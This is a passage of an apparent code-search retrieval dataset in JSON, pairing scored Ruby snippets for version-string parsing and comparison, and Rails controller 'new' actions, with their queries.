"e87976e8c14fade2103c0510501d598e", "score": "0.5860121", "text": "def validate_version\n unless version =~ /\\d+.\\d+.\\d+/\n Chef::Log.fatal(\"The version must be in X.Y.Z format. Passed value: #{version}\")\n raise\n end\nend", "title": "" }, { "docid": "cab9654fd0b232bf40e2e55340726e29", "score": "0.5851874", "text": "def strip_patch_version(version)\n result = version.match(/^(\\d+\\.\\d+)\\..*$/)\n return version[/^(\\d+\\.\\d+)\\..*$/, 1] if result\n return version\nend", "title": "" }, { "docid": "d18126c3968b3fc12b79af68e0c3b58b", "score": "0.5851696", "text": "def version\n if @release\n @release.gsub(/\\./, \"\").to_i * 10 ** (3 - @release.scan(\".\").length - 1)\n end\n end", "title": "" }, { "docid": "566797cf9aa4db6181002913b811f566", "score": "0.584758", "text": "def valid_version?(version)\n file = version.split(\".\")\n library = VERSION.split(\".\")\n return false if file[0] != library[0] || file[1] != library[1]\n if library[1].to_i.even?\n return file[2].to_i <= library[2].to_i\n else\n return file[2] == library[2]\n end\n end", "title": "" }, { "docid": "364792bc286a38b2647f901481377ceb", "score": "0.5837773", "text": "def version\n '1.0.6.3' # Version number\n end", "title": "" }, { "docid": "ef3cd9c9797346087c6582074761ef6e", "score": "0.583551", "text": "def valid_version?(arg)\n return false unless arg.is_a?(String) || arg.is_a?(Symbol)\n return true if arg.to_s == 'latest'\n arg =~ /^[0-9]+\\.[0-9]+\\.[0-9]+$/ ? true : false\n end", "title": "" }, { "docid": "cbb28f1a043f7a879c169009c7159cf6", "score": "0.5834835", "text": "def standardize(rough_version)\n version_parts = rough_version.to_s.split '.'\n if version_parts.count < 2\n version_parts << [0, 0]\n elsif version_parts.count < 3\n version_parts << [0]\n end\n version_parts.join '.'\n end", "title": "" }, { "docid": "74cddd6e600697863509995e59284d26", "score": "0.5823627", "text": "def test_image_version\n version = Upgrade.image_version\n assert_match(/^\\d.\\d\\(\\d(?:.\\d+)?\\)(?:\\S+\\(\\S+\\))?$/, version)\n end", "title": "" }, { "docid": "cbe08e63b21a6d7baf5fac03eb040b91", "score": "0.5822569", "text": "def get_version(version)\n end", "title": "" }, { "docid": "ca41b1b35baa168212bd65ddb1cf9ba4", "score": "0.5821301", "text": "def full_version_string; end", "title": "" }, { "docid": "afa2d3bddd82893b8fe58dffd69a28f1", "score": "0.5810648", "text": "def negotiate(version)\n default = Version.new('0.9')\n min = [version, self].min\n (min == default) ? nil : min\n end", "title": "" }, { "docid": "9d43d6dc9f23088161dbc006d041d988", "score": "0.58089614", "text": "def matchdata\n version.split(\".\")\n end", "title": "" }, { "docid": "9a7173fc12d553d5419a783818160bab", "score": "0.5807857", "text": "def version_for(version_string)\n Mixlib::Versioning.parse(version_string)\n end", "title": "" }, { "docid": "81d631b83860d3abe7c13ec51744110f", "score": "0.57960635", "text": "def version_string\n binary = \"%064<version>b\" % { :version => version }\n segs = [\n binary[0..23], binary[24..33], binary[34..43], binary[44..53],\n binary[54..63]\n ].map { |s| s.to_i(2) }\n\n segs.join(\".\")\n end", "title": "" }, { "docid": "a411f17613e6c73de1573ab59c7c621e", "score": "0.5780188", "text": "def get_build_version(build_name)\n match = /(\\d+.\\d+$)/.match(build_name)\n if match\n return match[1]\n end\nend", "title": "" }, { "docid": "a3b9f03715958f9ae15ce9934289bdb2", "score": "0.576942", "text": "def next_version(version)\n major_version, *_unused = version.split(/\\./)\n\n \"#{major_version.to_i + 1}.0.0\"\n end", "title": "" }, { "docid": "15d64a62f1a9cbe55f57d375807fa005", "score": "0.57514066", "text": "def version_strip(version_string)\n version_string.match(/()[0-9]*\\.[0-9]*\\.[0-9]*/).to_s\nend", "title": "" }, { "docid": "2dc83165c93ca160c9c580df31198960", "score": "0.5749456", "text": "def version_to_float(version)\n version =~ /\\A\\d+(\\.\\d+)?\\z/ ? -version.to_f : version.downcase\n end", "title": "" }, { "docid": "bd37279bd52fb0f179b3ba1e58402f02", "score": "0.57456696", "text": "def test_version\n assert_match(/\\d+\\.\\d+.\\d+/, ::Spoonerize::Version.to_s)\n end", "title": "" }, { "docid": "42d7673e1131219c82db72bbdd43be82", "score": "0.57398146", "text": "def class_version(str)\n str = case str\n when \"RDF.rb\" then \"RDF\"\n when \"SXP for Ruby\" then \"SXP\"\n when \"ebnf\" then \"EBNF\"\n else str\n end\n\n \"#{str.sub('.rb', '')}::VERSION\".split('::').inject(Object) do |mod, class_name|\n mod.const_get(class_name)\n end.to_s\n rescue\n \"???\"\n end", "title": "" }, { "docid": "13d97e72496bff782c3d2a3f1c3f4032", "score": "0.5731219", "text": "def version_number_from_tag(tag)\n tag.sub(/^v/, \"\")\n end", "title": "" }, { "docid": "13d97e72496bff782c3d2a3f1c3f4032", "score": "0.5731219", "text": "def version_number_from_tag(tag)\n tag.sub(/^v/, \"\")\n end", "title": "" }, { "docid": "ef9a83f077beaa5862404862ffdfc22f", "score": "0.57248473", "text": "def server_version(args)\n # Mandatory args:\n req(:required => [:connection_name],\n :args_object => args)\n long_version(:connection_name => args[:connection_name]).split(\".\").map!{|x| x.gsub(/\\D/, \"\").to_i}\n end", "title": "" }, { "docid": "2c80069b86856e898c78a84d12e85262", "score": "0.57175845", "text": "def version_filename(filename, ver)\n \"#{filename}\".sub(/\\.([a-z]{3,4})$/, \"_#{ver}.\\\\1\")\n end", "title": "" }, { "docid": "a9f4f0eaa1bdcb58de302265066fb857", "score": "0.5716676", "text": "def version_weight\n # parse the version numbers from the @os_version value\n version_str, commit_no = /^v?(.*)$/.match(@os_version)[1].split(\"-\")[0].split(\"_\")\n # Limit any part of the version number to a number that is 999 or less\n version_str.split(\".\").map! {|v| v.to_i > 999 ? 999 : v}.join(\".\")\n # separate out the semantic version part (which looks like 0.10.0) from the\n # \"sub_patch number\" (to handle formats like v0.9.3.0, which were used in\n # older versions of the Hanlon-Microkernel project)\n version_parts = version_str.split(\".\").map {|x| \"%03d\" % x}\n sub_patch = (version_parts.length == 4 ? version_parts[3] : \"000\")\n # and join the parts as a single floating point number for comparison\n (version_parts[0,3].join + \".#{sub_patch}\").to_f + \"0.000#{commit_no}\".to_f\n end", "title": "" }, { "docid": "2cdc7c0c3feff0217820237dbe330a42", "score": "0.5715523", "text": "def version_to_namespace(version)\n version.tr('.', '_').capitalize.tap do |v|\n v.prepend('V') unless v[0] == 'V'\n end\n end", "title": "" }, { "docid": "c58e9a375aae774a32a7c893e8ed522b", "score": "0.56870425", "text": "def extract_version(cb_bundle_filename)\n version = cb_bundle_filename.gsub(/^.*_(\\d+\\.\\d+.\\d+)-full\\.tar\\.gz$/, '\\1')\n fail \"Failed to extract cookbook version correctly! (#{version}, is this name following the naming convention?)\" unless version.match(/^\\d+\\.\\d+\\.\\d+$/)\n version\n end", "title": "" }, { "docid": "bd469639a9fa223c46cb3b7acea71ce3", "score": "0.56822044", "text": "def version_string\n binary = \"%032<version>b\" % { :version => version }\n segs = [\n binary[0..15], binary[16..23], binary[24..31]\n ].map { |s| s.to_i(2) }\n\n segs.join(\".\")\n end", "title": "" }, { "docid": "b1d1223eafd11d5c8b9e6f6ffaaa50b0", "score": "0.5675327", "text": "def remove_version_leading_zeros(version: nil)\n return version.instance_of?(String) ? version.split('.').map { |s| s.to_i.to_s }.join('.') : version\n end", "title": "" }, { "docid": "b1d1223eafd11d5c8b9e6f6ffaaa50b0", "score": "0.5675327", "text": "def remove_version_leading_zeros(version: nil)\n return version.instance_of?(String) ? version.split('.').map { |s| s.to_i.to_s }.join('.') : version\n end", "title": "" }, { "docid": "b1d1223eafd11d5c8b9e6f6ffaaa50b0", "score": "0.5675327", "text": "def remove_version_leading_zeros(version: nil)\n return version.instance_of?(String) ? version.split('.').map { |s| s.to_i.to_s }.join('.') : version\n end", "title": "" }, { "docid": "50e2ea5542caefb28bf17a081526dc44", "score": "0.566964", "text": "def version_string\n case name\n when :advpng, :gifsicle, :jpegoptim, :optipng, :pngquant\n `#{path.shellescape} --version 2> /dev/null`[/\\d+(\\.\\d+){1,}/]\n when :svgo\n `#{path.shellescape} --version 2>&1`[/\\d+(\\.\\d+){1,}/]\n when :jhead\n `#{path.shellescape} -V 2> /dev/null`[/\\d+(\\.\\d+){1,}/]\n when :jpegtran\n `#{path.shellescape} -v - 2>&1`[/version (\\d+\\S*)/, 1]\n when :pngcrush\n `#{path.shellescape} -version 2>&1`[/\\d+(\\.\\d+){1,}/]\n when :pngout\n date_regexp = /[A-Z][a-z]{2} (?: |\\d)\\d \\d{4}/\n date_str = `#{path.shellescape} 2>&1`[date_regexp]\n Date.parse(date_str).strftime('%Y%m%d') if date_str\n when :jpegrescan\n # jpegrescan has no version so just check presence\n path && '-'\n else\n fail \"getting `#{name}` version is not defined\"\n end\n end", "title": "" }, { "docid": "3451fbda40ce97642e7aa9ad8a233f7f", "score": "0.5660356", "text": "def sanitize_version(input)\n input.scan(/\\d+/).join('.')\n end", "title": "" }, { "docid": "f96c05e49cb65c00f73eabf88581768d", "score": "0.56475013", "text": "def compare_versions(version, version_found)\n # Split version numbers into arrays to make multiple dots comparable.\n \"WARNING: #{version_found} is different from #{version} (recommended). \" \\\n 'Results might deviate.' if version != version_found\n end", "title": "" }, { "docid": "d9ad76a3aef50064003c5ec6709d3027", "score": "0.56467605", "text": "def vk_make_version(version)\n version = Gem::Version.new(version)\n major, minor, patch = *version.segments\n (((major) << 22) | ((minor || 0) << 12) | (patch || 0))\n end", "title": "" }, { "docid": "8d0422878796b07188b7ff318d567510", "score": "0.56432277", "text": "def test_custom_version\n version = VMLib::Version.new('SomeProject', 1, 1, 0, 'a.1', 'b.20')\n assert_equal 'SomeProject 1.1.0-a.1+b.20', version.to_s\n end", "title": "" }, { "docid": "f5b91ab7d1bd80e8d174548c606869b9", "score": "0.5640889", "text": "def ip_version; end", "title": "" }, { "docid": "c20ff044ceab4f1ab73f23fe4756fe87", "score": "0.56369543", "text": "def puppet_to_gem_version(version)\n matched = /(.*)\\.x/.match(version)\n matched.nil? ? version : \"~>#{matched[1]}.0\"\n end", "title": "" }, { "docid": "db5e342ae2d2ddea6f8d1aaf67f6c486", "score": "0.5636005", "text": "def version_components\n if @version_components.nil?\n comps = version.split(\".\")\n @version_components = comps.map { |v| v.to_i }\n end\n\n @version_components\n end", "title": "" }, { "docid": "81144abb49051b8d342956d445099a16", "score": "0.56357455", "text": "def version(number)\n Version.find(:model_classname => _classname, :instance_id => neo_id, :number => number) {|query| query.first.nil? ? nil : query.first.end_node}\n end", "title": "" }, { "docid": "37d0ab70f5e8016bc7bc200a389b61d4", "score": "0.56321436", "text": "def version_info(version)\n case version\n when 'stable', 'latest_stable'\n latest_stable\n when 'latest'\n latest\n when /^(\\d+)\\.(\\d+)\\.(\\d+)(\\.\\d+)?/\n named_version(version)\n else\n raise \"Unsupported version: #{version}.\"\n end\n end", "title": "" }, { "docid": "269f3621196147f5439dc42762be5bf6", "score": "0.56278867", "text": "def parsed_number\n return 0 if @version.blank?\n @version_array = @version.to_s.split('.')\n number_with_single_decimal_point if @version_array.size > 2\n @version_array.join('.').to_f\n end", "title": "" }, { "docid": "08a672f31bc8a53936c8f0fb5f29a1a9", "score": "0.5625535", "text": "def v; VERSION.join('.'); end", "title": "" }, { "docid": "2c69f81694d221aae0fd3478b3f58d6b", "score": "0.5616032", "text": "def base_pkg_version(version = Pkg::Config.version)\n return \"#{dot_version(version)}-#{Pkg::Config.release}\".split('-') if final?(version) || Pkg::Config.vanagon_project\n\n if version.include?('SNAPSHOT')\n new_version = dot_version(version).sub(/\\.SNAPSHOT/, \"-0.#{Pkg::Config.release}SNAPSHOT\")\n elsif version.include?('rc')\n rc_ver = dot_version(version).match(/\\.?rc(\\d+)/)[1]\n new_version = dot_version(version).sub(/\\.?rc(\\d+)/, '') + \"-0.#{Pkg::Config.release}rc#{rc_ver}\"\n else\n new_version = dot_version(version) + \"-0.#{Pkg::Config.release}\"\n end\n\n if new_version.include?('dirty')\n new_version = \"#{new_version.sub(/\\.?dirty/, '')}dirty\"\n end\n\n new_version.split('-')\n end", "title": "" }, { "docid": "35f1ee4b71ef76619f38ce7faf2a981e", "score": "0.5615066", "text": "def read_version\n # libvirt returns a number like 1002002 for version 1.2.2\n maj = @conn.version / 1000000\n min = (@conn.version - maj*1000000) / 1000\n rel = @conn.version % 1000\n \"#{maj}.#{min}.#{rel}\"\n end", "title": "" }, { "docid": "35f1ee4b71ef76619f38ce7faf2a981e", "score": "0.5615066", "text": "def read_version\n # libvirt returns a number like 1002002 for version 1.2.2\n maj = @conn.version / 1000000\n min = (@conn.version - maj*1000000) / 1000\n rel = @conn.version % 1000\n \"#{maj}.#{min}.#{rel}\"\n end", "title": "" }, { "docid": "ba6280c9b52a28e1bfacc0b6713261d4", "score": "0.5610778", "text": "def getCheckedVersionName(lastGitTag)\n versionName = lastGitTag\n UI.user_error!(\"The tag name '#{lastGitTag}' isn't matching the right syntax. (major.minor.patch)\") if (not (versionName =~ /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/))\n return versionName\nend", "title": "" }, { "docid": "7edfa6efbc86faf54e76337fc9cda123", "score": "0.5607275", "text": "def break_version_apart(version_number)\n tmp = \"#{version_number}.0.0.0\".split('.', 4)\n reply = {}\n reply['major'] = tmp[0].blank? ? '0' : tmp[0]\n reply['minor'] = tmp[1].blank? ? '0' : tmp[1]\n reply['point'] = tmp[2].blank? ? '0' : tmp[2]\n reply\n end", "title": "" }, { "docid": "e1e75d6f842f90d55373528df06052a9", "score": "0.5605141", "text": "def version_string; end", "title": "" }, { "docid": "e1e75d6f842f90d55373528df06052a9", "score": "0.5605141", "text": "def version_string; end", "title": "" }, { "docid": "a15e7bf19486bd7c3e428c38d61e794f", "score": "0.56033313", "text": "def versionCompare(v1, v2, logger)\n # eliminate leading 'v' if present\n if v1[0] == 'v'\n v1 = v1[1..-1]\n end\n if v1.nil?\n return false\n elsif v1.empty?\n return false\n elsif v1.match(/[^\\d.]/) || v2.match(/[^\\d.]/)\n logger.error {\"doctemplate_version string includes nondigit chars: v1: \\\"#{v1}\\\", v2\\\"#{v2}\\\"\"}\n return false\n elsif v1 == v2\n return true\n else\n v1long = v1.split('.').length\n v2long = v2.split('.').length\n maxlength = v1long > v2long ? v1long : v2long\n 0.upto(maxlength-1) { |n|\n # puts \"n is #{n}\" ## < debug\n v1split = v1.split('.')[n].to_i\n v2split = v2.split('.')[n].to_i\n if v1split > v2split\n return true\n elsif v1split < v2split\n return false\n elsif n == maxlength-1 && v1split == v2split\n return true\n end\n }\n end\nend", "title": "" }, { "docid": "1cd60a41506ce6c3537ec360d31a5047", "score": "0.5603251", "text": "def class_version(str)\n\n str = case str\n when \"RDF.rb\" then \"RDF\"\n when \"SXP for Ruby\" then \"SXP\"\n when \"ebnf\" then \"EBNF\"\n else str\n end\n\n \"#{str.sub('.rb', '')}::VERSION\".split('::').inject(Object) do |mod, class_name|\n mod.const_get(class_name)\n end.to_s\n rescue\n \"???\"\n end", "title": "" }, { "docid": "666d7e5d95b86ee2e06eed7066652d8e", "score": "0.560127", "text": "def semantic_version\n return true if version == \"master\"\n\n begin\n Semverse::Version.new(version.gsub(/\\Av/, \"\"))\n rescue Semverse::InvalidVersionFormat\n errors.add(:version, 'is formatted incorrectly')\n end\n end", "title": "" }, { "docid": "29d4accfa07393aed871570b6a4e06eb", "score": "0.5596186", "text": "def check_api_version_format(v_str)\n msg = 'Please inform an administrator.'\n raise Idcf::Cli::Error::CliError, msg unless v_str =~ /\\A\\d+\\.\\d+\\.\\d+\\Z/\n true\n end", "title": "" }, { "docid": "e13f124567345808e5e538ff0b2005ee", "score": "0.55846375", "text": "def semantic_version(major: 0..9, minor: 0..9, patch: 1..9)\n [major, minor, patch].map { |chunk| sample(Array(chunk)) }.join('.')\n end", "title": "" }, { "docid": "472eb82d5a2018f349e6c9b8f22f1d4a", "score": "0.55752903", "text": "def initialize(version_string, starting_major = 1)\n @major = starting_major\n @minor = 0\n @build = 0\n @revision = 0\n version_string.gsub!(/\\s\\n\\r/, '')\n return unless version_string =~ /[\\d]+([.\\d]*)/\n version_string = version_string.split('.')\n @major = version_string[0].to_i\n return if version_string[1].nil?\n @minor = version_string[1].to_i\n return if version_string[2].nil?\n @build = version_string[2].to_i\n return if version_string[3].nil?\n @revision = version_string[3].to_i\n end", "title": "" }, { "docid": "c552ec22e82ec302711b24414b1bdc63", "score": "0.5568976", "text": "def validate_version\n unless new_resource.version =~ /\\d+.\\d+.\\d+/\n Chef::Log.fatal(\"The version must be in X.Y.Z format. Passed value: #{new_resource.version}\")\n raise\n end\n end", "title": "" }, { "docid": "bce1d5392fdb0d94518d5aac31d4741a", "score": "0.55614185", "text": "def git_version_at_least(min_version)\n def split_version(v)\n v.split(\".\").map { |x| x.to_i }\n end\n local_version = split_version(git_version)\n min_version = split_version(min_version)\n\n raise \"Git version string must have 4 parts\" if min_version.size != 4\n 4.times do |i|\n if local_version[i].nil?\n return false\n end\n next if local_version[i] == min_version[i]\n return local_version[i] > min_version[i]\n end\n\n true # If you get all the way here, all 4 positions match precisely\n end", "title": "" }, { "docid": "97baab463984e0a8a8fd66b5f4f4434d", "score": "0.5557092", "text": "def get_version_from_filename(filename)\n version = Versionomy.parse(/(\\d+)\\.(\\d+)\\.(\\d+)/.match(filename).to_s)\n # TODO: If we start packaging prerelease/rc packages, try:\n # (\\d+)\\.(\\d+)\\.(\\d+)(?:-[^\\.]+)?\n dist = [version.major, version.minor].join(\".\")\n return version, dist\n end", "title": "" }, { "docid": "d59d7b4351965c3d836ba9f8bfc78b0f", "score": "0.55528885", "text": "def minor_version\n /\\A(\\d+\\.\\d+)/.match(@version)[0]\n end", "title": "" } ]
3768fa87f6bec304340fbc4fa59e3fff
GET /alimentos/new GET /alimentos/new.xml
[ { "docid": "fcd8fddc9fd76e42ff3ab728e66672e9", "score": "0.0", "text": "def new\n @alimento = Alimento.new\n componentes = Componente.where(\"ativo=?\",true).order(\"ordem ASC\")\n componentes.each do |c|\n @alimento.componente_alimentos.build({:componente => c})\n #ca = ComponenteAlimento.new(:componente => c)\n #@alimento.componente_alimentos.push(ca)\n end \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alimento }\n end\n end", "title": "" } ]
[ { "docid": "4c1ebbaf071800019ec1edffa1d50b33", "score": "0.72526646", "text": "def new\n @aluno = Aluno.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aluno }\n end\n end", "title": "" }, { "docid": "bf7ad6f1e3ee14e7ac4ab49f94b94c28", "score": "0.71773946", "text": "def new\n @alimento = Alimento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alimento }\n end\n end", "title": "" }, { "docid": "2ebebea6740cc061a1f955e86667c2f9", "score": "0.7174899", "text": "def new\n @revista = Revista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @revista }\n end\n end", "title": "" }, { "docid": "36b92bd1fd621443b45c5a52a4225a71", "score": "0.7166289", "text": "def new\n @registro_alimento = RegistroAlimento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registro_alimento }\n end\n end", "title": "" }, { "docid": "3298210dd6c0435d77e5dc4395e0685c", "score": "0.71500146", "text": "def new\n @generomidia = Generomidia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @generomidia }\n end\n end", "title": "" }, { "docid": "6290211819de3f0f66090bc7b0faa32f", "score": "0.7138887", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asesoria }\n end\n end", "title": "" }, { "docid": "4be5067dd93886a21d1f3faf95e190cc", "score": "0.71077174", "text": "def new\n \n @puntuacione = Puntuacione.new\n respond_to do |format| \n format.xml { render xml: @puntuacione}\n end\n end", "title": "" }, { "docid": "fcc9a65abd0fc31db1a1b160a44871fc", "score": "0.7094794", "text": "def new\n @asiento = Asiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asiento }\n end\n end", "title": "" }, { "docid": "c398295cde2752a838d41d91ea0f3863", "score": "0.7091324", "text": "def new\n @especialista = Especialista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @especialista }\n end\n end", "title": "" }, { "docid": "f820d3db32efc19fa3f0f149ef171b1e", "score": "0.7069012", "text": "def new\n @apto = Apto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @apto }\n end\n end", "title": "" }, { "docid": "0c9cd1c18424889757fd4bbf03506191", "score": "0.706207", "text": "def new\n @legajo = Legajo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @legajo }\n end\n end", "title": "" }, { "docid": "09659b5e0a0b570d5c8019b81ae00efa", "score": "0.7049402", "text": "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "title": "" }, { "docid": "cd5b80abaa0af95086236d2daf9bfea7", "score": "0.703467", "text": "def new\n @entrega = Entrega.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entrega }\n end\n end", "title": "" }, { "docid": "c59ca33bf945c02d8b6087386dbd5cab", "score": "0.7027775", "text": "def new\n @motorista = Motorista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @motorista }\n end\n end", "title": "" }, { "docid": "63103473671d5520305a00d82b1b309f", "score": "0.7027756", "text": "def new\n @escola = Escola.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @escola }\n end\n end", "title": "" }, { "docid": "aeb5863732ee8ef632a8b3943da08995", "score": "0.7002709", "text": "def new\n @liga = Liga.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @liga }\n end\n end", "title": "" }, { "docid": "a8fabf617b3c56fd3c46d537358befc8", "score": "0.7001186", "text": "def new\n @obrasproyecto = Obrasproyecto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @obrasproyecto }\n end\n end", "title": "" }, { "docid": "a0efffa521f513b8a229df54b5343f64", "score": "0.6998361", "text": "def new\n @documento = Documento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documento }\n end\n end", "title": "" }, { "docid": "23cdde8d4b1a2be0bc3eecca07b39e74", "score": "0.69909966", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "title": "" }, { "docid": "7f6602e3bba5316c79ed8d046de804ec", "score": "0.6990541", "text": "def new\n @comentario = Comentario.new\n respond_to do |format| \n format.xml { render xml: @comentario }\n end\n end", "title": "" }, { "docid": "86fcfdf9f4074ff969972da640c6f27e", "score": "0.6988628", "text": "def new\n @genero = Genero.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @genero }\n end\n end", "title": "" }, { "docid": "4248fcb6c19cff364b5415f037a70716", "score": "0.6988577", "text": "def new\n @agua = Agua.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @agua }\n end\n end", "title": "" }, { "docid": "8b0daaa30a15afe32df8eca14177d309", "score": "0.69838846", "text": "def new\n @naciona = Naciona.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @naciona }\n end\n end", "title": "" }, { "docid": "131c0a544ccaaa5c8458b6521071b94c", "score": "0.6981957", "text": "def new\n @ocupacion = Ocupacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ocupacion }\n end\n end", "title": "" }, { "docid": "9c8aeb4d00790022ccca5c880aaba02f", "score": "0.69758457", "text": "def new\n @allegato = Allegato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @allegato }\n end\n end", "title": "" }, { "docid": "f6e731c3f58737a772b558c35e8ebd83", "score": "0.69745374", "text": "def new\n @generacion = Generacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @generacion }\n end\n end", "title": "" }, { "docid": "e1e645f774343086f9448bfcfebee75b", "score": "0.69731915", "text": "def new\n @archivo = Archivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @archivo }\n end\n end", "title": "" }, { "docid": "1b042fea2be29380bc48411229855d46", "score": "0.69726175", "text": "def new\n @anexo = Anexo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @anexo }\n end\n end", "title": "" }, { "docid": "01193c45bedf34d781e3976475f80e6d", "score": "0.69718057", "text": "def new\n @estagiario = Estagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagiario }\n end\n end", "title": "" }, { "docid": "6468533c2e42c97ae0a61163e1c0d9b1", "score": "0.6969853", "text": "def new\n @tipos = Tipo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipos }\n end\n end", "title": "" }, { "docid": "ecaae1f754eed07c5caffe48b7882dd1", "score": "0.6962006", "text": "def new\n \n @anuncio = Anuncio.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @anuncio }\n end\n end", "title": "" }, { "docid": "075b350d04b3c2396929562f7ad810b0", "score": "0.6950685", "text": "def new\n @pelicula = Pelicula.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pelicula }\n end\n end", "title": "" }, { "docid": "e5e4770d9d9768b09e6d373e590b22e6", "score": "0.6938216", "text": "def new\n @naic = Naic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @naic }\n end\n end", "title": "" }, { "docid": "e43ba970ea5ec65bdb0a43ac7625f20b", "score": "0.69347817", "text": "def new\n @operacao = Operacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operacao }\n end\n end", "title": "" }, { "docid": "6c1239123b69702de920ef4c6d4df325", "score": "0.6933882", "text": "def new\n @avaliacao = Avaliacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @avaliacao }\n end\n end", "title": "" }, { "docid": "6e014d37b973d9e95c17cf3d951c9d0d", "score": "0.6927411", "text": "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end", "title": "" }, { "docid": "6e014d37b973d9e95c17cf3d951c9d0d", "score": "0.6927411", "text": "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end", "title": "" }, { "docid": "8a61d303c52b391cae6c4eafc54d5417", "score": "0.6924829", "text": "def new\n @orgao = Orgao.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @orgao }\n end\n end", "title": "" }, { "docid": "39f4f4ded2a80e86209897cf84ca59c1", "score": "0.69209087", "text": "def new\n @objeto = Objeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @objeto }\n end\n end", "title": "" }, { "docid": "8318e099e9332996fdb0f024a7f92a63", "score": "0.691687", "text": "def new\n @idioma = Idioma.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @idioma }\n end\n end", "title": "" }, { "docid": "8aa013a956a2468ab831d1b7c0a95909", "score": "0.69082296", "text": "def new\n @artigo = Artigo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @artigo }\n end\n end", "title": "" }, { "docid": "5c12e41ed8791dcb20125f9046e62363", "score": "0.6907883", "text": "def new\n @registro = Registro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registro }\n end\n end", "title": "" }, { "docid": "7d77c0679250091c8ed7401c4ed0cc21", "score": "0.69044805", "text": "def new\n @motivo = Motivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @motivo }\n end\n end", "title": "" }, { "docid": "c6948fbb865ae330b76380416f7b238f", "score": "0.6902528", "text": "def new\n @appunto_riga = AppuntoRiga.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @appunto_riga }\n end\n end", "title": "" }, { "docid": "e5fe7f0c4c8d23d95af63a2816ec2476", "score": "0.6901787", "text": "def new\n @ata = Ata.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ata }\n end\n end", "title": "" }, { "docid": "5faddf05c376a3081810308a9be738e2", "score": "0.6901639", "text": "def new\n @aetapa = Aetapa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aetapa }\n end\n end", "title": "" }, { "docid": "b4b02c19f45f9b3a3bb9933d3e5ec934", "score": "0.6900543", "text": "def new\n @etiqueta = Etiqueta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @etiqueta }\n end\n end", "title": "" }, { "docid": "8b3e0819d32195d413827ad547663eba", "score": "0.68994784", "text": "def new\n @spiga = Spiga.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spiga }\n end\n end", "title": "" }, { "docid": "1e748ec0da783fda673cebee51de7f95", "score": "0.6899332", "text": "def new\n @placa = Placa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @placa }\n end\n end", "title": "" }, { "docid": "aedc114c0a3fa13d6601850ff2ac98ef", "score": "0.68963414", "text": "def new\n @exemplo = Exemplo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exemplo }\n end\n end", "title": "" }, { "docid": "606fd67ce9078bdb18c814cc1952d909", "score": "0.689589", "text": "def new\n @lances_unicos = LanceUnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lance_unico }\n end\n end", "title": "" }, { "docid": "7f32e452f0aeea9d06f50b24aaf4c03b", "score": "0.6894359", "text": "def new\n @livro = Livro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @livro }\n end\n end", "title": "" }, { "docid": "96b5691208b85d10d3a8b8366e98ad9e", "score": 